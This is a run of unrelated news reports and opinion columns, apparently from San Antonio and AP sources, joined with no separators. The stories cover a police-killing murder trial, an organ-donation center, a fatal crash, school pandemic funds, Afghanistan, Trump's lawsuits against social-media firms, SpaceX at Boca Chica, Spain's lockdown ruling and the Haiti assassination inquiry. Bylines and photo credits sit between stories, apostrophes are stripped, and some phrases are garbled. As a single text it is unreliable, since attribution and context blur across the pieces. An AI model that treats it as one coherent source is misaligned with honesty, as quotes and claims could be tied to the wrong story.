A Luling woman and her daughter were headed for breakfast when they passed directly in front of the citys Public Safety Headquarters and saw a man pull up behind a police car and shoot Detective Benjamin Marconi twice in the head.

Jennifer Patterson testfied on Wednesday about what she and her daughter saw  a scene which she said is embedded in her mind. Her testimony came on the third day of the capital murder trial of Otis McKane, 36, accused of killing Marconi, 50, on Nov. 20, 2016. If convicted, McKane could face the death penalty.

Patterson was in town for a family birthday and was driving with daughter Alexandria Patterson to Mi Tierra for brunch.

She testified that she and her daughter both noticed a man in a medium-sized dark vehicle park behind the officers squad car and run toward the officers open door.

She said her daughter yelled, Oh my God, mom, hes got a gun  mom, hes (the officer) looking down. 

Alexandria Patterson said she couldnt tell whether the officer was writing or texting because his head was down.

Seconds later, both women said they saw the assailant fire two shots into the police car, then run back to his car and drive off.

Scared, Jennifer Patterson continued driving until the assailant left. She then turned around and drove back to headquarters.

We ran up to the side of the car, she said through tears. It was obvious there was nothing to be done for him.

Alexandria Patterson said she immediately began paying attention when the black car parked behind the officer, who had just pulled over a car.

I dont think its smart to pull up behind an officer, Alexandria Patterson told the court.

She said she kept her eyes fixed on the unfolding scene. She saw the assailant get out of his car, run toward the police officer, shoot him twice in the head, then sprint back to his car and drive away.

Defense attorneys Joel Perez and Raymond Fuchs objected to Jennifer Pattersons testimony, arguing outside the presence of the jury that prosecutors did not follow discovery protocols and provide details from Patterson that they said were not part of her written statement taken by police after the shooting.

Alexandria Patterson identified McKane in court as the shooter, saying they made eye contact.

William Luther /Staff photographer

I definitely remember his eyes, she said, adding she picked him out of a police photo lineup the next day.

The mother and daughters testimony followed that of a VIA bus driver and a tourist who were also passing by police headquarters at the time of the shooting.

Juan Carlos Enciso was taking troops from two military bases in San Antonio to the USO the morning Marconi was shot. He told the jury that as he turned his VIA bus left from Cesar Chavez Boulevard onto South Santa Rosa, he saw a man pull up behind Marconi, get out of a black sedan and begin jogging to the police car.

He witnessed the shooting as he passed the vehicles, which were facing south, as he headed north.

I could still see it in my rear-view mirror, Enciso said. I saw when he stuck something in the unit, and I heard a gunshot.

VIA buses have cameras that record video, however, Enciso said the devices were not working on his bus that day.

The next day, Enciso said he picked McKane out from photographs shown to him by police. The defense attempted to discredit his testimony because Enciso said he made a mistake when he checked a box on a form that said he could not identify the suspect, then attempted to fix his error.

With an SAPD detective at his side, Enciso said he marked through his mistake with a pen, checked the correct box that said he identified the defendant and wrote his initials on the change.

Another witness, Alejandro Limon, of Donna, who was working in Midland at the time, said he met his wife and children in San Antonio for the weekend. As he was about to drive out of town, he realized he forgot his laptop at the La Quinta he had stayed at, and drove back to retrieve it.

Around 11:30 a.m., as he headed south on Santa Rosa toward Nueva to get to the hotel, he noticed a black sedan that was headed north make a U-turn at Nueva and park behind the squad car.

I told my wife that somethings going on, then I saw someone get out of a car, run up to the cop car. He did something, but I didnt hear gunshots, he told the jury.

Limon said he saw a black handle gun when the assailant ran back to his car.

Limon followed the black car until he reached Nueva Street, where he said the driver turned left. Limon turned right and headed back to the scene of the shooting, parking behind another bystander, Mike Flores, who also witnessed the shooting.

Limon said he glanced at Marconi when he reached the squad car at the same time officers began running out of headquarters to help.

I heard someone say, Hes still breathing, Limon said, as he watched and waited for EMS to arrive.

Flores, who followed the same route as Enciso and the Pattersons that morning, also testified that he drove by as the incident unfolded.

I saw the weapon in his hand. I knew right then something was going to happen, said Flores, a U.S. Army gunner. It was like an execution.

Testimony is being heard in the 379th District Court, Judge Ron Rangel presiding.

CORRECTION: This article has been updated to correct the identity of defense attorney speaking to the judge in a photo caption. The defense attorney is Raymond Fuchs.

ezavala@express-news.net | Twitter: @elizabeth2863
As the coronavirus started to spread across the country in March 2020, hospital beds and medical supplies were reserved for only the sickest patients and those involved in life-threatening emergencies.

All elective surgeries ground to a halt, threatening the highly regulated organ procurement and transplantation system. It was a time of uncertainty as hospitals struggled to provide the necessary equipment and operating rooms to facilitate the organ donation process while being told to divert medical resources to the coming COVID-19 pandemic.

But in San Antonio, a 13,000 square-foot facility dedicated to recovering organs, tissue and corneas had opened just one month earlier. As a result, hospitals without transplant teams could transfer a donors body to the center for the procurement process.

These donations are put on the national registry and sent across the country to recipients based on medical urgency and a good match.

At the time, the Center for Life at University Hospital was the only such facility in Texas. It was able to keep the regions organ transplants going during the pandemic with little disruption.

Within its first year, the center helped more than 18,000 people through organ, tissue and eye donations.

On ExpressNews.com: New Center for Life at University Hospital expected to boost organ transplants

Because of the pandemic, however, Jennifer Milton, chief administrative officer at University Transplant Center, said they had to shift gears and accept transfers from other hospitals sooner than anticipated.

Last year, more than 100 donors were transferred in from 31 different hospitals.

Other hospitals across the state, particularly in smaller communities, did not have the resources during the public health emergency to fulfill donor wishes.

The center is a partnership between University Health and Texas Organ Sharing Alliance, the federally designated nonprofit that facilitates deceased organ transplants throughout South and Central Texas.

This partnership also extends to UT Health San Antonio, San Antonio Eye Bank and GenCure, affiliated with the South Texas Blood & Tissue Center.

Milton said because the Center For Life is licensed independently from the hospital system and has its own ICU and operating rooms, it was shielded from some of the constraints on resources that other hospitals with transplant programs felt.

According to the U.S. Health Resources and Services Administration, there are more than 107,000 Americans on the national waiting list.

Patients often wait years for a new organ. Every day, 17 people die waiting.

Milton said the center was able to handle the procurement of donated organs that might have been lost during that period. It is the only one in South Texas with equipment that can keep livers warm, using a new technology to save organs that otherwise wouldnt be viable for transplant.

On ExpressNews.com: San Antonios University Hospital part of study to improve transplants

In one room at the center, a staff member kept close watch over nearly a dozen small perfusion machines, continuously pumping a cold solution to help preserve kidneys.

Staff joked that they dated themselves by naming the devices after bands like The Cure, The Ramones, Depeche Mode, Iron Maiden and Tears for Fears.

They hold the most precious cargo, Milton said, pointing to a pair of kidneys hooked up to devices. The average wait for one of these kidneys is five years, and the average life expectancy on dialysis is five years.

The center also has four intensive-care beds for ventilated donors who have been declared brain dead, two operating rooms equipped with 360-degree cameras for organ recovery, a tissue recovery room, a research lab and a private lounge for families whose loved ones are donating their organs.

The facility features a biorepository, a library that stores information from people who have consented to participate in research. About 18 new samples are added each month.

We have a lot of dreams of building that out, Milton said.

On ExpressNews.com: Two San Antonio hospitals are national leaders in transplants from live donors

Last week, the alliance announced a new vision statement: An organ for every person on the waiting list.

Spokeswoman Clarissa Thompson said they plan on creating a triage unit with five new coordinator positions that will focus on managing patient referrals.

In-house coordinators will also be hired to work in San Antonio, Austin and McAllen. The additions will allow clinical teams to focus on patient evaluation and donor management, she said, ultimately saving more lives.

As our organization grows, we want to remind ourselves and the community about what we stand for, and thats providing lifesaving organs for the thousands of children and adults on the waiting list, said Joseph Nespral, president of the alliance.

laura.garcia@express-news.net
Ken Branca /Contributor

Three men in their 20s who were killed after a car rolled off a Northwest Side road have been identified by the Bexar County Medical Examiners Office.

Khalil Muhammad Howard, 26; Angel Esteban Lozano, 22; and Lorenzo Rey Fraga, 25, died after the 2014 Jeep Cherokee they were traveling in crashed just after 2 a.m. Tuesday in the 16000 block of Babcock. All three men had blunt force injuries, the medical examiner said.
On June 21, the San Antonio ISD board of trustees approved the budget for the next fiscal year, which included $78.3 million of the $276.4 million issued by the Elementary and Secondary School Emergency Relief Fund, or ESSER, as pandemic aid.

This means the board has submitted the districts application to the federal government to receive the first wave of these unprecedented funds  released by the state April 27  that will be distributed over the next four years.

Federal guidelines for allocating these funds instruct districts to give the public an opportunity to provide input in the development of its plan and highlight the importance of local school districts to engage in meaningful consultation with stakeholders. This is to ensure the inclusion of all stakeholders in the decision-making process about how this money is spent. Unfortunately, SAISD has yet to comply with these guidelines.

In preparing the application, due July 27, the districts leadership has grossly misrepresented the breadth of its community engagement and the timeline in which it collaborated with stakeholders in the ESSER-planning process.

SAISD posted details of its formal plan online before it was shared in various stakeholder meetings May 24 to June 11  some of which only a few parents were able to attend  and merely sought feedback on their predetermined plan.

It has been disheartening to see some schools give insufficient notice about these meetings, which did not accommodate working parents and guardians. For example, on June 3, the first ESSER meeting at Lamar Elementary was announced on its Facebook page with less than a days notice, and the second meeting offered only one days notice. Though a link to a survey was an option, it had a five-day deadline. These performative exercises are haphazard at best and deceptive at worst.

San Antonio ISD has a long history of segregating students and systemically creating a disadvantage for large segments of the district, especially Black and brown students. In many ways, the district has been a model of urban educational inequity and generational community disinvestment. And yet community organizations, families and youth were key leaders in challenging and advocating for equal educational opportunity.

On ExpressNews.com: San Antonio ISD and 29 other districts ask Abbott to add virtual schools funding bill to any special session

Since the late 1960s, when student and community leaders challenged Texas school funding system all the way to the Supreme Court with Rodriguez v. San Antonio ISD, the democratic processes and organizing efforts of community members have led to the Edgewood state court cases that achieved some level of equity and sharing of the wealth across the state in the 1980s and 1990s.

The centering of youth and community voices was the primary reason for change that happened in the past. Now, the district must learn to engage with its students, families and employees  the people most impacted  to give the community the democratic process it deserves before investing these once-in-a-lifetime funds. Our opportunity to address the structural and historical inequities that persist will outlive SAISDs current administration.

An investment like this must not be squandered, and decisions like this should not be made by the few. At a time when poorer communities and communities of color have been disproportionately affected by the past years developments  such as millions suffering amid the pandemic, elected officials seeking to strip away our human rights, and our environment at the precipice of irreparable damage  it is imperative that we ensure these communities are present and heard in these meetings and their needs are reflected in the allocation of these unprecedented funds.

Meaningful engagement from SAISD leadership means taking a more active role in seeking out its stakeholders, especially those desperately trying to get involved in this monumental decision-making process. Meaningful engagement means working with community organizations and families to show their input is wanted and respected. There is much more SAISD can do to meet its constituents where they are.

Conducting business as usual will not be enough. This money will allow us to reimagine, restore and rebuild a world that is more just for our children. If there ever was a time for radical change in our schools and in our communities, it is now.

An authentic stakeholder committee would create a much more substantial reach into the actual needs of the community and would be the first step in dismantling SAISDs aristocratic governance.

Jennifer Tobias lives in San Antonio. Michael Alvarez graduated from the district in 2019 and is with the San Antonio Youth Scholars Collective.
Barely a day passes without additional news of Taliban gains in Afghanistan.

Perhaps the Afghan government and its forces will prove more resilient than many expect, but if the country continues its slide toward chaos or, worse, the Taliban rapidly take Kabul, President Joe Bidens decision to withdraw a residual U.S. force will look like an amateurish, unforced error by a man who prides himself on his foreign policy experience and acumen.

With his top military leadership opposed and credible warnings that Kabul could fall within months after a withdrawal, Biden went ahead with it anyway on the basis of what an aide has called his gut.

So far, indications are that the president would have been better off heeding his military advisers than his viscera.

The Afghan war has, of course, stretched on for two decades and become a holding action satisfying to no one. But the cost to the U.S. of sustaining 3,500 troops in the country without losing anyone in combat for more than a year hasnt been high compared with the entirely plausible downside of Islamist extremists allied with al-Qaida sweeping to power again in Afghanistan.

The desire to pull out of Afghanistan has been an area of rare Biden-Trump agreement. Then-President Donald Trumps foolhardy ceasefire deal with the Taliban in February 2020 set the predicate for Bidens withdrawal. It would have taken some determination for Biden to reverse the U.S. promise in that deal to withdraw its forces by May 2021, although the Talibans transparent bad faith provided plenty of occasion for it.

Biden says not to worry. The U.S. will continue to provide over the horizon support, i.e., from a distance, for the Afghan government.

This is likely a pipe dream, and nothing about Bidens poorly thought-out drawdown lends any more credibility to it.

The CIA has been struggling to figure out how to maintain intelligence-gathering capabilities in Afghanistan. There will be no targets to strike from over the horizon if we dont have the assets on the ground to find them.

Ideally, the U.S. would locate some other base next door to Afghanistan, but there are no good options in the neighborhood.

Conducting operations from the Persian Gulf eight hours away isnt much of a substitute. In congressional testimony, Gen. Kenneth McKenzie, the head of Central Command, said the long-distance missions would be extremely difficult to do, but not impossible.

The U.S. withdrawal has had other troubling loose ends.

The contractors who have worked with the Afghan Air Force to maintain its planes are leaving, too, potentially stripping Afghan forces of air support.

The fate of the Afghans who have assisted U.S. forces is uncertain, although under political pressure here at home, Biden has committed to getting them out.

Biden wants to provide $3 billion in security assistance to the Afghans, but who will do the training with that money?

The allies are leaving, with the administration anxious to get the Turks to stay to secure Kabul International Airport, without which we wont be able to maintain our embassy.

As the bad news has piled up, the Biden administration has tried to provide reassuring signals. One expedient is keeping our top commander, Gen. Austin Miller, in the country a few more weeks. But are the Afghans, and the Taliban, not supposed to notice that nearly all of his forces have already withdrawn?

One justification for leaving is that it will free up resources for us to concentrate on the growing threat from China. Its not as though the 3,000 ground troops are going to relocate to East Asia, though, and make a difference in the balance of power there. On top of this, if there is an unraveling in Afghanistan, controlling the fallout will become a consuming issue for the U.S. military.

Biden has gotten his drawdown. Now, he may reap the whirlwind.
For a serial suer, former President Donald Trump seems to know remarkably little about the law.

Then, again, it may be his grievances overshadow whatever legal acumen he may possess.

Either way, Trump has done it again.

Trump has been involved in thousands of lawsuits, according to the book Plaintiff in Chief: A Portrait of Donald Trump in 3,500 Lawsuits by James D. Zirin, but his latest may be the most nonsensical.

He has filed class-action lawsuits against Facebook, Google and Twitter, a move sparked by the suspensions the social media giants imposed on the former president after the Capitol siege on Jan. 6.

Trump claims the platforms violated his freedom of speech, which is preposterous considering his fiery rhetoric embodied the very notion of shouting fire in a crowded theater, inflaming his followers to participate in the horrific attack. Besides, he still has his right to speech. He can hold press conferences, issue statements or turn to other platforms, like his short-lived blog.

The suits seek unspecified punitive damages, but its really about attention.

Trump saw litigation as being only about winning, Zirin wrote in his book. He sued at the drop of a hat. He sued for sport; he sued to achieve control; and he sued to make a point. He sued as a means of silencing those who crossed him.

Far from expecting any legal redress, Trump is sending a message to his supporters, continuing to dab paint on his favorite portrait of himself  the political martyr. He is perpetually aggrieved, a victim in the never-ending assault by the progressive left. The law, in his view, is his only defense.

If so, the defense is shaky at best, absurd at worst. Political institutions, at the state or federal level, are governed by the First Amendment. Private businesses do not figure in those protections.

Trump has the First Amendment argument exactly wrong, Paul Barrett, deputy director of the Stern Center for Business and Human Rights at New York University, said in a statement. In fact, Facebook and Twitter themselves have a First Amendment free speech right to determine what speech their platforms project and amplify.

That right includes shielding users from speakers who incite violence, as Trump did during his Jan. 6 rally.

Theres no way a plaintiff has been able to get traction in the past, and theres no way that Trump is going to be able to get traction, either, Eric Goldman, a professor at Santa Clara University Law School, told the Washington Post.

Its, well, a bit ironic that Trump and many conservatives are essentially arguing for big government. They want to force the private sector to provide a platform for speech.

But if this is bound to fail, why engage in a scorched-earth ploy that may end up burning no one but the ex-president? The answer lies in the Zirin book. Trump likes to sue, and he likes the visibility the lawsuits give him; whether he wins or loses is almost secondary because the attention comes. And in this case, 2024 looms.

The irony is that Trump loved these social media platforms when they helped push his rise to the GOP nomination and, ultimately, the presidency in 2016. They gave him free publicity, airing every epithet he uttered against his opponents, whether Democrat or Republican. That was a different time, and Trump was a different man, one on the cusp of victory. Perhaps he sees this as a path to another victory.
BOCA CHICA  At 7:55 a.m. on March 30, the latest prototype of SpaceXs Starship spacecraft sat shrouded in fog, circled by squawking seagulls, on the companys launch pad in Boca Chica, a half-mile from the Gulf Coast and 3 miles north of the mouth of the Rio Grande.

Despite the ugly weather, the company decided to go ahead with the launch. The plan was to bring the 160-foot-tall rocket to an altitude of about 6 miles before flipping it over and easing it back to Earth and onto a landing pad.

It would be the companys fourth test launch of a Starship prototype since December. Each of the previous rockets had exploded: The first two crashed into the landing pad, and the third burst into a ball of fire eight minutes after landing.

At 8 a.m., the fog lit up as the rocket lifted off in a rip of thunder. One by one, its three engines shut off as it approached the peak of its ascent. About four minutes after launching, it flipped over as planned. But when SpaceX tried to turn the engines back on for landing, the rocket had what the company calls a rapid unplanned disassembly. In other words, it blew up.

Thousands of hunks of twisted metal, and whatever remained of the liquid oxygen and methane in the rockets tanks, plummeted onto the federally protected wetlands, tidal flats, coastal prairie and sand dunes that surround the launch site, home to endangered species of birds, sea turtles and wild cats.

Over the next three months, under the supervision of the U.S. Fish and Wildlife Service, SpaceX employees took heavy machinery into the protected areas to extricate the wreckage, causing further damage to avian nesting grounds. Stephanie Bilodeau, a biologist for the nonprofit Coastal Bend Bays and Estuaries Program, estimated it would take many, many years to repair the damage.

You couldnt walk one step without finding a little piece of metal debris. It was just everywhere, she said.

As SpaceX races to return humans to the moon and bring them for the first time to Mars  founder and CEO Elon Musks oft-stated goal  environmentalists in the Rio Grande Valley fear that the regions diverse habitat is being sacrificed for the cause of human exploration.

In April, SpaceX won a contract from NASA to develop a lander to bring astronauts to the Moon. In December, Musk said he was confident the company would send a manned mission to Mars by 2026. The company is seeking to test the interplanetary vehicles in Boca Chica, and both missions could end up launching from the site, depending on whether the Federal Aviation Administration awards the company an environmental permit.

The vehicles would consist of a Starship rocket stacked atop the companys newly developed Super Heavy booster  the largest rocket ever built, twice as powerful as the Saturn V rocket that delivered Neil Armstrong to the moon.

At 230 feet tall, with a capacity of 3,400 tons of propellant  nearly three times the Starships capacity  the Super Heavy could inflict greater damage on the wildlife areas around the launch site if it explodes during test launches as the Starship did. It also would likely increase light and noise pollution at the launch site, which Bilodeau said have already driven birds from the area.

The impacts are just going to be enormous. Because thats all sensitive land  its wetlands, its tidal flats, its shorebird habitat. Its been basically wild and undisturbed largely forever. Thats what makes it so valuable, particularly for birds, said Jim Chapman, president of Friends of the Wildlife Corridor, a nonprofit with a mission to protect the wildlife of the Rio Grande Valley. You look at where rockets are tested, and theyre not tested in places like this. Theyre tested way out in the desert, far away from people, far away from sensitive land. Its the wrong place.

Jon Shapley, Houston Chronicle / Staff photographer

People like us are not anti-SpaceX, and were not anti-space program, he added. Its just, it shouldnt be going on here.

SpaceX, which did not respond to a request for comment, hopes to begin test-launching the Super Heavy at Boca Chica in August, said Eric Berger, senior space editor at technology website Ars Technica, who has written a book about the company.

They are moving so fast, it boggles the mind, he said. Its a huge rocket with a lot of engines. So theyre going to have to learn, and thats part of the plan. They want to find out where the problems are in the test phase, fix them and move on, as part of moving as fast as possible.

In recent years, SpaceX has led a revolution in space travel, pioneering a method of landing its rocket boosters for reuse rather than discarding them each launch  an innovation that promises to drastically lower the cost of going into space. Much of the companys success has come from its willingness to learn from its failures as it rapidly tests new ideas, abandoning the industrys typically snaillike approach to innovation.

On May 5, the companys employees at Boca Chica celebrated their first successful landing of a Starship prototype.

But that spirit of experimentation comes at a price  and that price is being paid at Boca Chica.

Federal protection

Since the 1970s, environmentalists have been working with state and federal agencies to preserve the habitat in Boca Chica from the threat of development and natural gas drilling.

The failure of a planned mega-resort in the 1980s allowed the federal government to take possession of thousands of acres of land and turn it into a refuge. Over the decades, numerous other large swathes have been donated to the government. They are now under the management of the Fish and Wildlife Service.

Today, the SpaceX launch facility is surrounded by more than 20,000 acres of federally protected land, extending west along the Rio Grande and north toward South Padre Island. Boca Chica is an important stopover on the Central Flyway bird migration route, spanning more than 8,000 miles from the Canadian Arctic to lower South America. Hundreds of species of birds stop there to rest and replenish themselves after flying up the Mexican coast or crossing the Gulf of Mexico, the way Texans stop at a Buc-ees in the middle of a long drive.

The areas isolation was part of the draw for SpaceX, giving it a freedom of action that it wouldnt have at a busy launch site such as NASAs Kennedy Space Center, Berger said.

Musk has expressed his love of the site on Twitter: In March, he announced that he was creating the city of Starbase, Texas, followed by a bit of poetry: From thence to Mars, and hence the stars.

Activists in the Rio Grande Valley were asleep at the switch when SpaceX revealed its plans for Boca Chica in 2012, Chapman said.

We didnt appreciate the impact. I think we just totally underestimated them, he said.

The company was wildly popular when it chose Boca Chica, he added. And it remains so among a large part of the population of the Brownsville area, where a lack of economic opportunity has driven many young residents to move elsewhere. The areas poverty rate is nearly double that of Texas as a whole.

Jon Shapley /Staff photographer

Along with fostering economic development, the other huge benefit is that our kids, our children, our families can grow up being enthusiastic about math and science careers, and know that they have a career path that they can see, touch and feel in their area, said Dr. Rose Gowen, who sits on the Brownsville City Commission.

Awaiting permits

SpaceX has been rapidly building up the Boca Chica facility as it prepares to begin testing the Super Heavy. It recently constructed a 450-foot steel tower, which observers believe is designed to catch the rocket booster upon its descent.

But the companys plans for Boca Chica hinge on whether it wins approval from the FAA and the U.S. Army Corps of Engineers. The company is asking the Corps for a permit to expand the facility over 11 acres of tidal flats and 6 acres of wetlands, while the FAA is deciding whether to allow it to launch the Starship and Super Heavy rockets into orbit.

Environmental groups such as local nonprofit SaveRGV and the American Bird Conservancy have petitioned the agencies to deny approval. But its not just environmentalists who have qualms about the companys plans.

The Environmental Protection Agency has asked the Army Corps to deny the expansion permit, citing concerns over the impact on aquatic areas. In January, the Fish and Wildlife Service sent a letter to the FAA saying it had failed to comply with its own regulations by not ensuring that SpaceXs proposal did everything possible to prevent harm to surrounding wildlife.

In 2014, when the FAA approved the Boca Chica facility, SpaceX presented plans that were drastically different from how it has actually used the site. The company said it would conduct a dozen launches a year of its Falcon 9 and Falcon Heavy rockets. Instead, the facility has become a testing ground for the much larger Starship and the Super Heavy rockets.

The FAA has since approved several modifications to the original permit, allowing the company to conduct the test launches.

One of the modifications addressed a fire caused by a nighttime rocket explosion in July 2019, which burned 150 acres of surrounding wildlife areas, damaging yucca trees used as nesting sites by endangered Aplomado falcons, Aubry Buzek, a spokeswoman for the Fish and Wildlife Service, said in an email. Firefighters had to wait to enter the site because of the volatility of the rocket fuel, she said.

Environmentalists say the frequent modifications to the original permit have prevented regulators from taking the true measure of the sites environmental impact. They want the FAA to conduct a new environmental study, known as an Environmental Impact Statement, for the companys latest proposal.

Jon Shapley, Houston Chronicle / Staff photographer

The Fish and Wildlife Service and the Texas Parks and Wildlife Department have also asked the FAA to conduct a new study. If the FAA chooses to go that route, it could take years, Berger said.

When it comes to regulation, I would say SpaceX runs right up the line of whats permitted. And it will push the boundaries of whats acceptable to regulators, he said.

SpaceX, while wanting to be a good neighbor and wanting to protect the public, also feels its within the DNA of the company to move as quickly as possible. And that comes directly from Elon Musk. Thats just who he is.

Nesting grounds threatened

At some point on the drive down Texas 4 toward the launch facility, and the public Boca Chica Beach beyond it, the highway begins to feel as though it is a SpaceX construction site.

After passing through the outskirts of Brownsville, about 9 miles from the coast, the highway travels through wilderness, with spiky-topped yucca plants and thick walls of thorn scrub bordering vast stretches of algae-topped mud plains and mirrorlike wetlands. The air teems with moths, butterflies and dragonflies. The SpaceX facilities appear on the horizon like a city skyline, with numerous construction cranes.

Two miles from the coast, the highway passes the facility where SpaceX assembles its rocket prototypes. After another mile and a half, it approaches the launch site, identified by a giant Starbase sign installed earlier this year.

On a windy Thursday morning in July, pickups and heavy construction equipment were parked directly on the through lanes of the highway. The launch facility was a busy construction site, a ruckus of grinding metal, beeping trucks and rumbling engines.

As workers stood in the middle of the highway, a construction crane parked near its edge lifted a metal tentlike structure over the highway and into the facility.

I cant even believe how much its grown, Bilodeau said as she drove by the site in her pickup.

She typically spends one day a week in the area, roaming the tidal flats in search of nests of several species of plovers, a small shorebird that feasts on worms and crustaceans in the sand. When she finds a nest, she tags the birds with bands around their legs to monitor them.

In a normal summer, the nonprofit she works for, the Coastal Bend Bays and Estuaries Program, would hire a temporary employee to monitor the nesting sites four or five days a week. But this year, with the highway closed so often due to SpaceXs tests and launches, the nonprofit decided it wasnt worth it, she said.

The environmental permit the company received from the FAA in 2014 entitled it to close the highway for 180 hours a year; last year, the agency increased the allowed time to 300 hours.

But SaveRGV and the Fish and Wildlife Service say the company has exceeded even that. In 2019, the Fish and Wildlife Service counted more than 1,000 closure hours, noting a significant disparity with the 158 hours reported by SpaceX, according to a letter the agency sent to the FAA in 2020.

In June, Cameron County District Attorney Luis V. Saenz sent a letter to SpaceX demanding an explanation after members of his staff reported being detained by one of its security guards while investigating a complaint that the company was blocking access to two public roads branching off Texas 4. He also questioned the company on whether its closure hours exceeded what was allowed by the FAA.

Jessica Phelps /San Antonio Express-News

While SpaceX is a valued member of our community, this does not authorize SpaceX, its employees, staff, agents, and/or contractors to disregard Texas Law, Saenz wrote in the letter.

Shyamal Patel, the companys senior director of Starship operations, replied that the security guard was a recent hire and had not followed his training in blocking off the road. He denied that the company had been closing the highway more often than allowed, saying that by its count it had closed it for only 226 hours so far in 2021, not 385 hours as reported by the Fish and Wildlife Service.

Over the last four years, Coastal Bend has recorded a decline in the number of nests of snowy plovers, which are considered threatened in some parts of the U.S., near the launch site  from 11 in 2017 to nine in 2018, 10 in 2019, four in 2020 and zero this year. Winter Storm Uri might have helped drive away the birds this year, Bilodeau said.

They dont take disturbance very well, she said. If they even see someone from a distance, walking their way, theyll get off of their nest and try to distract the perceived predator. Regardless of debris landing out there, just the daily activities, traffic, people constantly being around, birds arent going to want that. So it makes sense that they would avoid those areas.

Coyotes and grackles, drawn by the areas growing human presence, also pose a threat to the plovers and their eggs, she said.

After parking her truck, she walked behind a set of dumpsters across the highway from the SpaceX launch site to where she had found one of the nests she recorded in the area this year. After recent rains, trash is scattered in puddles around the dumpsters  beer cans, pizza boxes, a lighter fluid container.

This species of bird, the Wilsons plover, digs a shallow nest in mud or sand, sometimes decorating it with seashells. Little remained of the nest she had found on this spot. After the eggs hatched in June, the mother and her chicks went elsewhere.

This bird, she was an anomaly, Bilodeau said.

She recalled that the mother had been much less alarmed when she approached the nest than most plovers would be  and she was willing to nest only about 40 yards from the launch site.

She put up with a lot. For whatever reason, she really wanted to nest there, she said. I dont know what she knew, but maybe she thought, This is the only place I can nest right now.

Little remained of the nest. After the eggs hatched in June, the mother and her chicks went elsewhere.

SpaceX doesnt often talk with the media, but space travel enthusiasts have been able to keep track of what the company is doing by peering into the launch facility. A company named RGV Aerial Photography regularly flies a plane around the site and takes pictures.

This summer, the pictures have shown SpaceX moving fast, as always  erecting the steel launch tower, piece by piece; building fuel tanks; and rolling a Super Heavy prototype to a test stand.

Five years ago, the Boca Chica facility was an empty lot. Now, it dominates the subtle landscape of wetlands and beach dunes around it. And SpaceX wants to keep it growing.
BARCELONA, Spain (AP)  Spains Constitutional Court ruled Wednesday that a strict stay-at-home lockdown order the Spanish government issued under a state of emergency during the first wave of COVID-19 last year was unconstitutional.

While upholding most terms of the state of emergency, the court said provisions ordering the population off the streets except for shorts shopping trips, unavoidable work commutes and other essential business violated Spain's Constitution.

The court issued a brief statement that described the ruling as a split decision. State broadcaster TVE said six magistrates were in favor and five against. The full decision is expected to be released in the coming days.

According to TVE, the court majority ruled that the limitations on movement violated citizens basic rights and the state of emergency was a constitutionally insufficient mechanism to do that. The six magistrates said a state of exception, which does allow the government to suspend basic rights, would have been necessary.

Justice Minister Pilar Llop said that her government will uphold but does not share the decision" on the inadequacy of the emergency declaration that saved hundreds of thousands of lives.

The home confinement rule declared under the state of emergency, along with the exemplary behavior of citizens, allowed us to stop the virus, Llop said, adding that it was similar to orders given by other European governments.

The Constitutional Court made its ruling in response to a lawsuit brought by Spain's far-right Vox party. Vox leader Santiago Abascal called Wednesday for Spanish Prime Minister Pedro Sanchez to step down.

We cannot celebrate the decision because we have proof that the government was willing to break the law and tarnish the constitution, Abascal said.

Spains government declared the state of emergency on March 14, 2020, three days after the World Health Organization said the spread of the coronavirus had become a pandemic. With Spain's hospitals filling up, Sanchezs left-wing coalition government won parliamentary backing, including from Vox lawmakers, for the state of emergency.

During the first six-week confinement period, Spaniards could not go out even for exercise, and Vox withdrew its support for the lockdown.

The lockdown helped reduce the number of new daily cases. The Spanish government gradually relaxed its pandemic restrictions once the worst of the emergency had passed. Since then, Spain has used a myriad of measures to control infections. The country has reported a pandemic death toll to date of 81,000.

Legal experts said until the court's full decision is released, it wont be clear if the ruling will open the gates to lawsuits against the government.

Fernando Simon, a constitutional law professor at the University of Navarra, said the Constitutional Court could limit the state's legal exposure from the thousands of citizens were received fines for violating restrictions on movement during the state of emergency.

This ability is reasonable because if the impact of the decision is taken to the extreme, it could create chaotic situations, Simon told The Associated Press in an email.

He said the wording of the Spanish Constitution regarding a state of emergency supported either a strict or a more open reading, adding that this type of juridical conflict would not even exist if the main political powers sought the common good.

___

Follow all AP coverage of the coronavirus pandemic at https://apnews.com/hub/coronavirus-pandemic
PORT-AU-PRINCE, Haiti (AP)  Haitis police chief on Wednesday accused a Venezuelan businessman who owns a security company in Florida of traveling to Haiti numerous times as part of a plot to assassinate President Jovenel Moise, who was killed last week.

Leon Charles, head of the Haitis National Police, said Antonio Intriago of CTU Security signed a contract while in Haiti but provided no other details and offered no evidence.

The investigation is very advanced, Charles said.

Intriago could not be immediately reached for comment.

Colombias national police chief has said that CTU Security used its company credit card to buy 19 plane tickets from Bogota to Santo Domingo for the Colombian suspects allegedly involved in the killing.

During a news conference Wednesday evening, Charles pleaded with Haitians to help officials track down suspects who remain on the run, including a former senator he described as a key suspect and is accused of providing weapons used in the July 7 attack.

Former Sen. John Joel Joseph, a Haitian politician and opponent of the Tet Kale party that Moise belonged to, is one of five fugitives whom police say are armed and dangerous.

We are looking for these assassins, and wherever they go we need to capture them, arrest them and bring them to justice, Charles said.

In a video posted last year on YouTube, the former senator compared Moise to the coronavirus, saying Haitians have died from hunger or been killed amid a spike in violence under his administration.

Insecurity has infected every single Haitian, Joseph said.

The police chief also announced the arrest of Gilbert Dragon, who led a rebel group known as the National Revolutionary Front for the Liberation and Reconstruction of Haiti. The group seized power in parts of Haiti after the 2004 coup that led to the ouster of President Jean-Bertrand Aristide.

Authorities said they found several weapons at his house, including a saber, two grenades and an AR-15.

In addition, officers arrested a Haitian man identified as Reynaldo Corvington, who is accused of providing the suspects with housing and giving them sirens to use on top of their cars with help from another suspect, James Solages, a Haitian American who was detained in recent days.

Corvington owns a private security company called Corvington Courier & Security Service, which he established in 1982, according to its website, which provides tips on how to survive a kidnapping.

Police said they found several weapons at his house, including nine pistols and an AR-15.

Another of the fugitives identified by police is Joseph Felix Badio. Charles said Badio rented a house near Moises home to help the suspects understand the layout of the area.

Badio previously worked for Haitis Ministry of Justice and joined the governments anti-corruption unit in March 2013. The agency issued a statement saying he was fired in May following serious breaches of unspecified ethical rules, adding that it filed a complaint against him.

This villainous act is an affront to our democracy, the unit said in a statement.

Charles, the police chief, said four high-ranking officials who were in charge of the presidents security detail are being held in isolation as authorities continue to track down other fugitives, including Rodolphe Jaar. He was born in Haiti, speaks English and has a college degree in business administration, according to court records. He is not a U.S. citizen.

